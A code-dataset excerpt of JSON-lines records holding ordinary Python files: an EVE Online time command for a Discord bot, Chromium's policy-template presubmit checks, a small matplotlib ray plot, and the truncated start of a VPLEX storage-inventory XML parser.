EVE Online commands which can be used by anyone\n\"\"\"\nfrom datetime import datetime\n\nimport discord.ext.commands as commands\n\nfrom utils.log import get_logger\n\n\ndef setup(bot):\n \"Adds the cog to the provided discord bot\"\n bot.add_cog(Eve(bot))\n\n\nclass Eve(commands.Cog, name=\"Eve\"):\n def __init__(self, bot):\n self.logger = get_logger(__name__)\n self.bot = bot\n self.fmt = \"%H:%M:%S\"\n\n @commands.command()\n async def evetime(self, ctx):\n return await ctx.send(\n \"Current EVE time: \" + datetime.utcnow().strftime(self.fmt))\n","sub_path":"ext/eve.py","file_name":"eve.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"269769714","text":"# Copyright 2012 The Chromium Authors\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n# If this presubmit check fails or misbehaves, please complain to\n# mnissler@chromium.org, bartfab@chromium.org or atwilson@chromium.org.\n\nPRESUBMIT_VERSION = '2.0.0'\nUSE_PYTHON3 = True\n\nimport os\nimport sys\nfrom xml.dom import minidom\nfrom xml.parsers import expat\n\nsys.path.append(os.path.abspath('.'))\nfrom policy_templates import GetPolicyTemplates\n\n_SRC_PATH = os.path.abspath('../../../')\nsys.path.append(os.path.join(_SRC_PATH, 'third_party'))\nimport pyyaml\n\n\n_CACHED_FILES = {}\n_CACHED_POLICY_CHANGE_LIST = []\n\n_TEST_CASES_DEPOT_PATH = os.path.join(\n 'chrome', 'test', 'data', 'policy', 'policy_test_cases.json')\n_PRESUBMIT_PATH = os.path.join(\n 'components', 'policy', 'resources', 'PRESUBMIT.py')\n_TEMPLATES_PATH = os.path.join(\n 'components', 'policy', 'resources',\n 'templates')\n_MESSAGES_PATH = os.path.join(_TEMPLATES_PATH, 'messages.yaml')\n_POLICIES_DEFINITIONS_PATH = os.path.join(_TEMPLATES_PATH, 'policy_definitions')\n_POLICIES_YAML_PATH = os.path.join(_TEMPLATES_PATH, 'policies.yaml')\n_HISTOGRAMS_PATH = os.path.join(\n 'tools', 'metrics', 'histograms', 'enums.xml')\n_DEVICE_POLICY_PROTO_PATH = os.path.join(\n 'components', 'policy', 'proto', 'chrome_device_policy.proto')\n_DEVICE_POLICY_PROTO_MAP_PATH = os.path.join(\n _TEMPLATES_PATH, 'device_policy_proto_map.yaml')\n_LEGACY_DEVICE_POLICY_PROTO_MAP_PATH = os.path.join(\n _TEMPLATES_PATH, 'legacy_device_policy_proto_map.yaml')\n\n\ndef _SkipPresubmitChecks(input_api, files_watchlist):\n '''Returns True if no file or file under the directories specified was\n affected in this change.\n Args:\n input_api\n files_watchlist: List of files or directories\n '''\n for file in files_watchlist:\n if any(os.path.commonpath([file, f.LocalPath()]) == file for f in\n input_api.change.AffectedFiles()):\n return False\n\n return True\n\n\ndef _LoadYamlFile(root, path):\n str_path = str(path)\n if str_path not in _CACHED_FILES:\n with open(os.path.join(root, path), encoding='utf-8') as f:\n _CACHED_FILES[str_path] = pyyaml.safe_load(f)\n return _CACHED_FILES[str_path]\n\n\ndef _GetPolicyChangeList(input_api):\n '''Returns a list of policies modified inthe changelist with their old schema\n next to their new schemas.\n Args:\n input_api\n Returns:\n object with the following schema:\n { 'name': 'string', 'old_policy': dict, 'new_policy': dict }\n The policies are the values loaded from their yaml files.\n '''\n if _CACHED_POLICY_CHANGE_LIST:\n return _CACHED_POLICY_CHANGE_LIST\n policies_dir = input_api.os_path.join(input_api.change.RepositoryRoot(),\n _POLICIES_DEFINITIONS_PATH)\n template_affected_files = [f for f in input_api.change.AffectedFiles()\n if os.path.commonpath([policies_dir,\n f.AbsoluteLocalPath()]) == policies_dir]\n\n for affected_file in template_affected_files:\n path = affected_file.AbsoluteLocalPath()\n filename = os.path.basename(path)\n filename_no_extension = os.path.splitext(filename)[0]\n if (filename == '.group.details.yaml' or\n filename == 'policy_atomic_groups.yaml'):\n continue\n old_policy = None\n new_policy = None\n if affected_file.Action() in ['M', 'D']:\n try:\n old_policy = pyyaml.safe_load('\\n'.join(affected_file.OldContents()))\n except:\n old_policy = None\n if affected_file.Action() != 'D':\n new_policy = pyyaml.safe_load('\\n'.join(affected_file.NewContents()))\n _CACHED_POLICY_CHANGE_LIST.append({\n 'policy': filename_no_extension,\n 'old_policy': old_policy,\n 'new_policy': new_policy})\n return _CACHED_POLICY_CHANGE_LIST\n\n\ndef _CheckPolicyTemplatesSyntax(input_api, output_api, legacy_policy_template):\n\n local_path = input_api.PresubmitLocalPath()\n template_dir = input_api.os_path.join(input_api.change.RepositoryRoot(),\n 'components', 'policy', 'resources',\n 'templates')\n old_sys_path = sys.path\n try:\n tools_path = input_api.os_path.normpath(\n input_api.os_path.join(local_path, input_api.os_path.pardir, 'tools'))\n sys.path = [tools_path] + sys.path\n # Optimization: only load this when it's needed.\n import syntax_check_policy_template_json\n device_policy_proto_path = input_api.os_path.join(\n local_path, '..', 'proto', 'chrome_device_policy.proto')\n args = [\"--device_policy_proto_path=\" + device_policy_proto_path]\n\n root = input_api.change.RepositoryRoot()\n\n # Get the current version from the VERSION file so that we can check\n # which policies are un-released and thus can be changed at will.\n current_version = None\n try:\n version_path = input_api.os_path.join(root, 'chrome', 'VERSION')\n with open(version_path, \"rb\") as f:\n current_version = int(f.readline().split(b\"=\")[1])\n print('Checking policies against current version: ' +\n current_version)\n except:\n pass\n\n # Check if there is a tag that allows us to bypass compatibility checks.\n # This can be used in situations where there is a bug in the validation\n # code or if a policy change needs to urgently be submitted.\n skip_compatibility_check = ('BYPASS_POLICY_COMPATIBILITY_CHECK'\n in input_api.change.tags)\n\n checker = syntax_check_policy_template_json.PolicyTemplateChecker()\n errors, warnings = checker.Run(args, legacy_policy_template,\n _GetPolicyChangeList(input_api),\n current_version,\n skip_compatibility_check)\n\n # PRESUBMIT won't print warning if there is any error. Append warnings to\n # error for policy_templates.json so that they can always be printed\n # together.\n if errors:\n error_msgs = \"\\n\".join(errors+warnings)\n return [output_api.PresubmitError('Syntax error(s) in file:',\n [template_dir],\n error_msgs)]\n elif warnings:\n warning_msgs = \"\\n\".join(warnings)\n return [output_api.PresubmitPromptWarning('Syntax warning(s) in file:',\n [template_dir],\n warning_msgs)]\n finally:\n sys.path = old_sys_path\n return []\n\n\ndef CheckPolicyTestCases(input_api, output_api):\n '''Verifies that the all defined policies have a test case.\n This is ran when policy_test_cases.json, policies.yaml or this PRESUBMIT.py\n file are modified.\n '''\n results = []\n if _SkipPresubmitChecks(\n input_api,\n [_TEST_CASES_DEPOT_PATH, _POLICIES_YAML_PATH, _PRESUBMIT_PATH]):\n return results\n\n # Read list of policies in chrome/test/data/policy/policy_test_cases.json.\n root = input_api.change.RepositoryRoot()\n with open(os.path.join(root, _TEST_CASES_DEPOT_PATH), encoding='utf-8') as f:\n test_names = input_api.json.load(f).keys()\n tested_policies = frozenset(name.partition('.')[0]\n for name in test_names\n if name[:2] != '--')\n policies_yaml = _LoadYamlFile(root, _POLICIES_YAML_PATH)\n policies = policies_yaml['policies']\n policy_names = frozenset(name for name in policies.values() if name)\n\n # Finally check if any policies are missing.\n missing = policy_names - tested_policies\n extra = tested_policies - policy_names\n error_missing = (\"Policy '%s' was added to policy_templates.json but not \"\n \"to src/chrome/test/data/policy/policy_test_cases.json. \"\n \"Please update both files.\")\n error_extra = (\"Policy '%s' is tested by \"\n \"src/chrome/test/data/policy/policy_test_cases.json but is not\"\n \" defined in policy_templates.json. Please update both files.\")\n results = []\n for policy in missing:\n results.append(output_api.PresubmitError(error_missing % policy))\n for policy in extra:\n results.append(output_api.PresubmitError(error_extra % policy))\n\n results.extend(\n input_api.canned_checks.CheckChangeHasNoTabs(\n input_api,\n output_api,\n source_file_filter=lambda x: x.LocalPath() == _TEST_CASES_DEPOT_PATH))\n\n return results\n\n\ndef CheckPolicyHistograms(input_api, output_api):\n results = []\n if _SkipPresubmitChecks(\n input_api,\n [_HISTOGRAMS_PATH, _POLICIES_YAML_PATH, _PRESUBMIT_PATH]):\n return results\n\n root = input_api.change.RepositoryRoot()\n\n with open(os.path.join(root, _HISTOGRAMS_PATH), encoding='utf-8') as f:\n tree = minidom.parseString(f.read())\n enums = (tree.getElementsByTagName('histogram-configuration')[0]\n .getElementsByTagName('enums')[0]\n .getElementsByTagName('enum'))\n policy_enum = [e for e in enums\n if e.getAttribute('name') == 'EnterprisePolicies'][0]\n policy_enum_ids = frozenset(int(e.getAttribute('value'))\n for e in policy_enum.getElementsByTagName('int'))\n policies_yaml = _LoadYamlFile(root, _POLICIES_YAML_PATH)\n policies = policies_yaml['policies']\n policy_ids = frozenset([id for id, name in policies.items() if name])\n\n missing_ids = policy_ids - policy_enum_ids\n extra_ids = policy_enum_ids - policy_ids\n\n error_missing = (\"Policy '%s' (id %d) was added to \"\n \"policy_templates.json but not to \"\n \"src/tools/metrics/histograms/enums.xml. Please update \"\n \"both files. To regenerate the policy part of enums.xml, \"\n \"run:\\n\"\n \"python tools/metrics/histograms/update_policies.py\")\n error_extra = (\"Policy id %d was found in \"\n \"src/tools/metrics/histograms/enums.xml, but no policy with \"\n \"this id exists in policy_templates.json. To regenerate the \"\n \"policy part of enums.xml, run:\\n\"\n \"python tools/metrics/histograms/update_policies.py\")\n results = []\n for policy_id in missing_ids:\n results.append(\n output_api.PresubmitError(error_missing %\n (policies[policy_id], policy_id)))\n for policy_id in extra_ids:\n results.append(output_api.PresubmitError(error_extra % policy_id))\n return results\n\n\ndef CheckPolicyAtomicGroupsHistograms(input_api, output_api):\n '''Verifies that the all policy atomic groups have a histogram entry.\n This is ran when policies.yaml, tools/metrics/histograms/enums.xml or this\n PRESUBMIT.py file are modified.\n '''\n results = []\n if _SkipPresubmitChecks(\n input_api,\n [_HISTOGRAMS_PATH, _POLICIES_YAML_PATH, _PRESUBMIT_PATH]):\n return results\n\n root = input_api.change.RepositoryRoot()\n\n with open(os.path.join(root, _HISTOGRAMS_PATH), encoding='utf-8') as f:\n tree = minidom.parseString(f.read())\n enums = (tree.getElementsByTagName('histogram-configuration')[0]\n .getElementsByTagName('enums')[0]\n .getElementsByTagName('enum'))\n atomic_group_enum = [e for e in enums\n if e.getAttribute('name') == 'PolicyAtomicGroups'][0]\n atomic_group_enum_ids = frozenset(int(e.getAttribute('value'))\n for e in atomic_group_enum\n .getElementsByTagName('int'))\n policies_yaml = _LoadYamlFile(root, _POLICIES_YAML_PATH)\n atomic_groups = policies_yaml['atomic_groups']\n atomic_group_ids = frozenset(\n [id for id, name in atomic_groups.items() if name])\n\n missing_ids = atomic_group_ids - atomic_group_enum_ids\n extra_ids = atomic_group_enum_ids - atomic_group_ids\n\n error_missing = (\"Policy atomic group '%s' (id %d) was added to \"\n \"policy_templates.json but not to \"\n \"src/tools/metrics/histograms/enums.xml. Please update \"\n \"both files. To regenerate the policy part of enums.xml, \"\n \"run:\\n\"\n \"python tools/metrics/histograms/update_policies.py\")\n error_extra = (\"Policy atomic group id %d was found in \"\n \"src/tools/metrics/histograms/enums.xml, but no policy with \"\n \"this id exists in policy_templates.json. To regenerate the \"\n \"policy part of enums.xml, run:\\n\"\n \"python tools/metrics/histograms/update_policies.py\")\n results = []\n for atomic_group_id in missing_ids:\n results.append(output_api.PresubmitError(error_missing %\n (atomic_groups[atomic_group_id],\n atomic_group_id)))\n for atomic_group_id in extra_ids:\n results.append(output_api.PresubmitError(error_extra % atomic_group_id))\n return results\n\n\n# TODO(crbug/1171839): Remove this from syntax_check_policy_template_json.py\n# as this check is now duplicated.\ndef CheckMessages(input_api, output_api):\n '''Verifies that the all the messages from messages.yaml have the following\n format: {[key: string]: {text: string, desc: string}}.\n This is ran when messages.yaml or this PRESUBMIT.py\n file are modified.\n '''\n results = []\n if _SkipPresubmitChecks(\n input_api,\n [_MESSAGES_PATH, _PRESUBMIT_PATH]):\n return results\n\n root = input_api.change.RepositoryRoot()\n messages = _LoadYamlFile(root, _MESSAGES_PATH)\n\n for message in messages:\n # |key| must be a string, |value| a dict.\n if not isinstance(message, str):\n results.append(\n output_api.PresubmitError(\n f'Each message key must be a string, invalid key {message}'))\n continue\n\n if not isinstance(messages[message], dict):\n results.append(\n output_api.PresubmitError(\n f'Each message must be a dictionary, invalid message {message}'))\n continue\n\n if ('desc' not in messages[message] or\n not isinstance(messages[message]['desc'], str)):\n results.append(\n output_api.PresubmitError(\n f\"'desc' string key missing in message {message}\"))\n\n if ('text' not in messages[message] or\n not isinstance(messages[message]['text'], str)):\n results.append(\n output_api.PresubmitError(\n f\"'text' string key missing in message {message}\"))\n\n # There should not be any unknown keys in |value|.\n for vkey in messages[message]:\n if vkey not in ('desc', 'text'):\n results.append(output_api.PresubmitError(\n f'In message {message}: Unknown key: {vkey}'))\n return results\n\n\ndef CheckMissingPlaceholders(input_api, output_api):\n '''Verifies that the all the messages from messages.yaml, caption and\n descriptions from files under templates/policy_definitions do not have\n malformed placeholders.\n This is ran when messages.yaml, files under templates/policy_definitions or\n this PRESUBMIT.py file are modified.\n '''\n results = []\n if _SkipPresubmitChecks(\n input_api,\n [_MESSAGES_PATH, _POLICIES_DEFINITIONS_PATH, _PRESUBMIT_PATH]):\n return results\n\n root = input_api.change.RepositoryRoot()\n new_policies = [change['new_policy']\n for change in _GetPolicyChangeList(input_api)]\n messages = _LoadYamlFile(root, _MESSAGES_PATH)\n items = new_policies + list(messages.values())\n for item in items:\n for key in ['desc', 'text']:\n if item is None:\n continue\n if not key in item:\n continue\n try:\n node = minidom.parseString('<msg>%s</msg>' % item[key]).childNodes[0]\n except expat.ExpatError as e:\n error = (\n 'Error when checking for missing placeholders: %s in:\\n'\n '!<Policy Start>!\\n%s\\n<Policy End>!' %\n (e, item[key]))\n results.append(output_api.PresubmitError(error))\n continue\n\n for child in node.childNodes:\n if child.nodeType == minidom.Node.TEXT_NODE and '$' in child.data:\n warning = (\"Character '$' found outside of a placeholder in '%s'. \"\n \"Should it be in a placeholder ?\") % item[key]\n results.append(output_api.PresubmitPromptWarning(warning))\n return results\n\n# TODO(crbug/1171839): Remove this from syntax_check_policy_template_json.py\n# as this check is now duplicated.\ndef CheckDevicePolicyProtos(input_api, output_api):\n results = []\n if _SkipPresubmitChecks(\n input_api,\n [_DEVICE_POLICY_PROTO_PATH, _DEVICE_POLICY_PROTO_MAP_PATH,\n _LEGACY_DEVICE_POLICY_PROTO_MAP_PATH, _PRESUBMIT_PATH]):\n return results\n root = input_api.change.RepositoryRoot()\n\n proto_map = _LoadYamlFile(root, _DEVICE_POLICY_PROTO_MAP_PATH)\n legacy_proto_map = _LoadYamlFile(root, _LEGACY_DEVICE_POLICY_PROTO_MAP_PATH)\n with open(os.path.join(root, _DEVICE_POLICY_PROTO_PATH),\n 'r', encoding='utf-8') as file:\n protos = file.read()\n results = []\n # Check that proto_map does not have duplicate values.\n proto_paths = set()\n for proto_path in proto_map.values():\n if proto_path in proto_paths:\n results.append(output_api.PresubmitError(\n f'Duplicate proto path {proto_path} in '\n f'{os.path.basename(_DEVICE_POLICY_PROTO_MAP_PATH)}. '\n 'Did you set the right path for your device policy?'))\n proto_paths.add(proto_path)\n\n # Check that legacy_proto_map does not have duplicate values.\n for proto_path_list in legacy_proto_map.values():\n for proto_path in proto_path_list:\n if not proto_path:\n continue\n if proto_path in proto_paths:\n results.append(output_api.PresubmitError(\n f'Duplicate proto path {proto_path} in '\n 'legacy_device_policy_proto_map.yaml.'\n 'Did you set the right path for your device policy?'))\n proto_paths.add(proto_path)\n\n for policy, proto_path in proto_map.items():\n fields = proto_path.split(\".\")\n for field in fields:\n if field not in protos:\n results.append(output_api.PresubmitError(\n f\"Policy '{policy}': Expected field '{field}' not found in \"\n \"chrome_device_policy.proto.\"))\n return results\n\n\ndef _CommonChecks(input_api, output_api):\n results = []\n root = input_api.change.RepositoryRoot()\n template_dir = input_api.os_path.join(input_api.change.RepositoryRoot(),\n 'components', 'policy', 'resources',\n 'templates')\n device_policy_proto_path = input_api.os_path.join(\n root, 'components', 'policy', 'proto', 'chrome_device_policy.proto')\n syntax_check_path = input_api.os_path.join(\n root, 'components', 'policy', 'tools',\n 'syntax_check_policy_template_json.py')\n affected_files = input_api.change.AffectedFiles()\n\n template_changed = any(\n os.path.commonpath([template_dir, f.AbsoluteLocalPath()]) == template_dir\n for f in affected_files)\n device_policy_proto_changed = any(\n f.AbsoluteLocalPath() == device_policy_proto_path for f in affected_files)\n syntax_check_changed = any(f.AbsoluteLocalPath() == syntax_check_path\n for f in affected_files)\n\n if (template_changed or device_policy_proto_changed or syntax_check_changed):\n try:\n template_data = GetPolicyTemplates()\n except:\n results.append(\n output_api.PresubmitError('Unable to load the policy templates.'))\n return results\n\n # chrome_device_policy.proto is hand crafted. When it is changed, we need\n # to check if it still corresponds to policy_templates.json.\n if template_changed or device_policy_proto_changed or syntax_check_changed:\n results.extend(\n _CheckPolicyTemplatesSyntax(input_api, output_api, template_data))\n\n return results\n\n\ndef CheckChangeOnUpload(input_api, output_api):\n return _CommonChecks(input_api, output_api)\n\n\ndef CheckChangeOnCommit(input_api, output_api):\n return _CommonChecks(input_api, output_api)\n","sub_path":"components/policy/resources/PRESUBMIT.py","file_name":"PRESUBMIT.py","file_ext":"py","file_size_in_byte":19833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"419742386","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\ndef circle_plotter(f=4,d=1,u=1):\r\n t=np.linspace(d,100,10000)\r\n x=[-d,0]\r\n y=[1,1]\r\n j=[0,(u*1/(1/d+u*1/f))]\r\n p=[1,-1]\r\n plt.plot(x,y,'r')\r\n plt.plot(j,p,'r')\r\n plt.plot([-3,4.5],[0,0],'k')\r\n plt.plot([0,0],[-1.025,1.025],'c',lw=2.5)\r\n plt.axis('equal')\r\n plt.show()\r\ncircle_plotter(9,3,1)\r\n","sub_path":"вывввв.py","file_name":"вывввв.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"81773948","text":"#!/usr/bin/python\n\nimport subprocess\nimport json\nimport logging\nimport z_xml_iterparser\n\nCURL = '/usr/bin/curl'\n\n__all__ = ['Vplex']\n\nclass ControlDirector(object):\n def __init__(self):\n self.hostname = None\n self.name = None\n self.id = None\n\n def parse(self, evt, elem, current_path):\n self.hostname = elem.get('hostname')\n self.name = elem.get('name')\n self.id = elem.get('id')\n\n def is_valid(self):\n return self.hostname is not None and \\\n self.name is not None and \\\n self.id is not None\n\n def to_csv(self):\n return '|'.join((self.hostname, self.name, self.id))\n\n def verify(self):\n assert self.hostname is not None \n assert self.name is not None\n assert self.id is not None\n\nclass Port(object):\n def __init__(self):\n self.protocol = None\n self.control_director = None\n self.name = None\n self.status = None\n self.enabled = None\n self.node_wwn = None\n self.role = None\n self.id = None\n self.wwn = None\n\n def parse(self, evt, elem, current_path):\n self.protocol = elem.get('protocol')\n self.control_director = elem.get('PlexControlDirector')\n self.name = elem.get('name')\n self.status = elem.get('status')\n self.enabled = elem.get('enabled')\n self.node_wwn = elem.get('nodeWWN')\n self.role = elem.get('role')\n self.id = elem.get('id')\n self.wwn = elem.get('portWWN')\n\n def is_valid(self):\n return self.protocol is not None and \\\n self.control_director is not None and \\\n self.name is not None and \\\n self.status is not None and \\\n self.enabled is not None and \\\n self.node_wwn is not None and \\\n self.role is not None and \\\n self.id is not None and \\\n self.wwn is not None\n \n def to_csv(self):\n return '|'.join((self.name, self.id, self.wwn, self.protocol, self.control_director, \n self.status, self.enabled, self.node_wwn, self.role))\n\n def verify(self):\n assert self.protocol is not None\n assert self.control_director is not None\n assert self.name is not None\n assert self.status is not None\n assert self.enabled is not None\n assert self.node_wwn is not None\n assert self.role is not None\n assert self.id is not None\n assert self.wwn is not None\n\nclass DiskPath(object):\n def __init__(self):\n self.target = None\n self.lun = None\n self.type = None\n self.path_ports = []\n\n def parse(self, evt, elem, current_path):\n if len(current_path) == 5 and current_path[-1] == 'path':\n self.target = elem.get('target')\n self.lun = elem.get('LUN')\n self.type = elem.get('type')\n elif len(current_path) == 6 and current_path[-1] == 'pathPort':\n self.path_ports.append(elem.get('id'))\n\n def is_valid(self):\n return self.target is not None and \\\n self.lun is not None and \\\n self.type is not None and \\\n self.path_ports\n \n def to_csv(self):\n return '|'.join((self.target, self.lun, self.type))\n\n def path_port_to_csv(self):\n return ('|'.join((path_port, self.target, self.lun)) for path_port in self.path_ports)\n\n def verify(self):\n assert self.target is not None\n assert self.lun is not None\n assert self.type is not None\n assert self.path_ports\n\nclass Disk(object):\n def __init__(self):\n self.name = None\n self.size = None\n self.id = None\n self.vpd_identifier = None\n self.use = None\n self.paths = []\n self.current_object = None\n\n def parse(self, evt, elem, current_path):\n if evt == 'start':\n if len(current_path) == 3 and current_path[-1] == 'disk':\n self.name = elem.get('name')\n self.size = elem.get('size')[:-1]\n self.id = elem.get('id')\n self.vpd_identifier = elem.get('vpdIdentifier')\n self.use = elem.get('use')\n elif len(current_path) == 5 and current_path[-1] == 'path':\n if self.current_object and self.current_object.is_valid():\n self.paths.append(self.current_object)\n self.current_object = DiskPath()\n self.current_object.parse(evt, elem, current_path)\n elif len(current_path) == 6 and current_path[-1] == 'pathPort':\n self.current_object.parse(evt, elem, current_path)\n elif evt == 'end' and len(current_path) == 4 and current_path[-1] == 'paths':\n if self.current_object is not None and self.current_object.is_valid():\n self.paths.append(self.current_object)\n\n def is_valid(self):\n return self.name is not None and \\\n self.size is not None and \\\n self.id is not None and \\\n self.vpd_identifier is not None and \\\n self.use is not None and \\\n self.paths\n \n def to_csv(self):\n return '|'.join((self.name, self.id, self.size, self.vpd_identifier, self.use))\n\n def path_to_csv(self):\n return ('|'.join((path.to_csv(), self.vpd_identifier)) for path in self.paths)\n\n def path_port_to_csv(self):\n return ('|'.join((path_port_csv, self.vpd_identifier)) \n for path in self.paths for path_port_csv in path.path_port_to_csv())\n\n def verify(self):\n assert self.name is not None\n assert self.size is not None\n assert self.id is not None\n assert self.vpd_identifier is not None\n assert self.use is not None\n assert self.paths\n\nclass NestedDevice(object):\n def __init__(self):\n self.name = None\n self.size = None\n self.geometry = None\n self.locality = None\n self.visibility = None\n\n def parse(self, evt, elem, current_path):\n self.name = elem.get('name')\n self.size = elem.get('size')[:-1]\n self.geometry = elem.get('geometry')\n self.locality = elem.get('locality')\n self.visibility = elem.get('visibility')\n\n def is_valid(self):\n return self.name is not None and \\\n self.size is not None and \\\n self.geometry is not None and \\\n self.locality is not None and \\\n self.visibility is not None\n\n def to_csv(self):\n return '|'.join((self.name, self.size, self.geometry, self.locality, self.visibility))\n\n def verify(self):\n assert self.name is not None\n assert self.size is not None\n assert self.geometry is not None\n assert self.locality is not None\n assert self.visibility is not None\n\nclass TopLevelDevice(object):\n def __init__(self):\n self.name = None\n self.id = None\n self.size = None\n self.type = None\n self.locality = None\n self.nested_devices = []\n self.current_object = None\n\n def parse(self, evt, elem, current_path):\n if evt == 'start':\n if len(current_path) == 3 and current_path[-1] == 'device':\n self.name = elem.get('name')\n self.id = elem.get('id')\n self.size = elem.get('size')[:-1]\n self.type = elem.get('type')\n self.locality = elem.get('locality')\n elif len(current_path) == 5 and current_path[-1] == 'device' and current_path[-2] == 'components':\n if self.current_object is not None and self.current_object.is_valid():\n self.nested_devices.append(self.current_object)\n self.current_object = NestedDevice()\n self.current_object.parse(evt, elem, current_path)\n elif evt == 'end' and len(current_path) == 3 and current_path[-1] == 'device':\n if self.current_object is not None and self.current_object.is_valid():\n self.nested_devices.append(self.current_object)\n\n def is_valid(self):\n return self.name is not None and \\\n self.id is not None and \\\n self.size is not None and \\\n self.type is not None and \\\n self.locality is not None\n\n def to_csv(self):\n return '|'.join((self.name, self.id, self.size, self.type, self.locality))\n\n def nested_device_to_csv(self):\n return ('|'.join((nested_dev.to_csv(), self.id)) for nested_dev in self.nested_devices)\n \n def verify(self):\n assert self.name is not None\n assert self.id is not None\n assert self.size is not None\n assert self.type is not None\n assert self.locality is not None\n\nclass Extent(object):\n def __init__(self):\n self.name = None\n self.size = None\n self.use = None\n self.used_by = None\n self.locality = None\n self.storage_volume = None\n\n def parse(self, evt, elem, current_path):\n self.name = elem.get('name')\n self.size = elem.get('size')[:-1]\n self.use = elem.get('use')\n self.used_by = elem.get('used-by')\n self.locality = elem.get('locality')\n self.storage_volume = elem.get('storage-volume')\n self.verify()\n\n def is_valid(self):\n return self.name is not None and \\\n self.size is not None and \\\n self.use is not None and \\\n self.used_by is not None and \\\n self.locality is not None and \\\n self.storage_volume is not None\n\n def to_csv(self):\n return '|'.join((self.name, self.size, self.use, self.used_by, self.locality, self.storage_volume))\n\n def verify(self):\n assert self.name is not None\n assert self.size is not None\n assert self.use is not None\n assert self.used_by is not None\n assert self.locality is not None\n assert self.storage_volume is not None\n \nclass VirtualVolume(object):\n def __init__(self):\n self.name = None\n self.id = None\n self.vpd_identifier = None\n self.size = None\n self.locality = None\n self.supporting_device = None\n self.cache_mode = None\n\n def parse(self, evt, elem, current_path):\n self.name = elem.get('name')\n self.id = elem.get('id')\n self.vpd_identifier = elem.get('vpdIdentifier')\n self.size = elem.get('size')[:-1]\n self.locality = elem.get('locality')\n self.supporting_device = elem.get('supportingDevice')\n self.cache_mode = elem.get('cacheMode')\n\n def is_valid(self):\n return self.name is not None and \\\n self.id is not None and \\\n self.vpd_identifier is not None and \\\n self.size is not None and \\\n self.locality is not None and \\\n self.supporting_device is not None and \\\n self.cache_mode is not None\n\n def to_csv(self):\n return '|'.join((self.name, self.id, self.vpd_identifier, self.size, \n self.locality, self.supporting_device, self.cache_mode))\n\n def verify(self):\n assert self.name is not None\n assert self.id is not None\n assert self.vpd_identifier is not None\n assert self.size is not None\n assert self.locality is not None\n assert self.supporting_device is not None\n assert self.cache_mode is not None\n\nclass Initiator(object):\n def __init__(self):\n self.name = None\n self.id = None\n self.type = None\n self.port_wwn = None\n self.node_wwn = None\n\n def parse(self, evt, elem, current_path):\n self.name = elem.get('name')\n self.id = elem.get('id')\n self.type = elem.get('type')\n self.port_wwn = elem.get('portWWN')\n self.node_wwn = elem.get('nodeWWN')\n\n def is_valid(self):\n return self.name is not None and \\\n self.id is not None and \\\n self.type is not None and \\\n self.port_wwn is not None and \\\n self.node_wwn is not None\n\n def to_csv(self):\n return '|'.join((self.name, self.id, self.type, self.port_wwn, self.node_wwn))\n\n def verify(self):\n assert self.name is not None\n assert self.id is not None\n assert self.type is not None\n assert self.port_wwn is not None\n assert self.node_wwn is not None\n\nclass StorageView(object):\n def __init__(self):\n self.name = None\n self.status = None\n self.initiators = []\n self.view_ports = []\n self.view_volumes = []\n\n def parse(self, evt, elem, current_path):\n if len(current_path) == 3 and current_path[-1] == 'view':\n self.name = elem.get('name')\n self.status = elem.get('status')\n elif len(current_path) == 5:\n if current_path[-1] == 'viewInitiator':\n self.initiators.append(elem.get('id'))\n elif current_path[-1] == 'viewPort':\n self.view_ports.append(elem.get('id'))\n elif current_path[-1] == 'viewVolume':\n #(volume_id, lun_id)\n self.view_volumes.append((elem.get('id'), elem.get('lun')))\n\n def is_valid(self):\n return self.name is not None and self.status is not None\n\n def to_csv(self):\n return '|'.join((self.name, self.status))\n\n def initiator_to_csv(self):\n return ('|'.join((initiator, self.name)) for initiator in self.initiators)\n \n def port_to_csv(self):\n return ('|'.join((port, self.name)) for port in self.view_ports)\n\n def volume_to_csv(self):\n return ('|'.join((vol[0], vol[1], self.name)) for vol in self.view_volumes)\n\n def verify(self):\n assert self.name is not None \n assert self.status is not None\n\nclass MetaVolume(object):\n def __init__(self):\n self.name = None\n self.size = None\n self.locality = None\n self.geometry = None\n self.ready = None\n self.active = None\n\n def parse(self, evt, elem, current_path):\n self.name = elem.get('name')\n self.size = elem.get('size')[:-1]\n self.locality = elem.get('locality')\n self.geometry = elem.get('geometry')\n self.ready = elem.get('ready')\n self.active = elem.get('active')\n\n def is_valid(self):\n return self.name is not None and \\\n self.size is not None and \\\n self.locality is not None and \\\n self.geometry is not None and \\\n self.ready is not None and \\\n self.active is not None\n\n def to_csv(self):\n return '|'.join((self.name, self.size, self.locality, self.geometry, self.ready, self.active))\n\n def verify(self):\n assert self.name is not None\n assert self.size is not None\n assert self.locality is not None\n assert self.geometry is not None\n assert self.ready is not None\n assert self.active is not None\n\nclass LoggingVolume(object):\n def __init__(self):\n self.name = None\n self.size = None\n self.locality = None\n self.geometry = None\n\n def parse(self, evt, elem, current_path):\n self.name = elem.get('name')\n self.size = elem.get('size')[:-1]\n self.locality = elem.get('locality')\n self.geometry = elem.get('geometry')\n\n def is_valid(self):\n return self.name is not None and \\\n self.size is not None and \\\n self.locality is not None and \\\n self.geometry is not None\n\n def to_csv(self):\n return '|'.join((self.name, self.size, self.locality, self.geometry))\n\n def verify(self):\n assert self.name is not None\n assert self.size is not None\n assert self.locality is not None\n assert self.geometry is not None\n\nclass Cluster(object):\n def __init__(self, site):\n self.site = site\n self.name = None\n self.version = None\n self.id = None\n self.management_ip = None\n self.serial_no = None\n self.control_directors = []\n self.ports = []\n self.disks = []\n self.top_level_devices = []\n self.extents = []\n self.virtual_volumes = []\n self.initiators = []\n self.storage_views = []\n self.meta_volumes = []\n self.logging_volumes = []\n\n def _create_control_director(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 3 and current_path[-1] == 'PlexControlDirector':\n if self.current_director is not None and self.current_director.is_valid():\n self.control_directors.append(self.current_director)\n self.current_director = ControlDirector()\n self.current_director.parse(evt, elem, current_path)\n\n def _create_port(self, evt, elem, current_path):\n if evt == 'start' and len(current_path) == 3 and current_path[-1] == 'port':\n if self.current_port is not None and self.current_port.is_valid():\n self.ports.append(self.current_port)\n self.current_port = Port()\n self.current_port.parse(evt, elem, 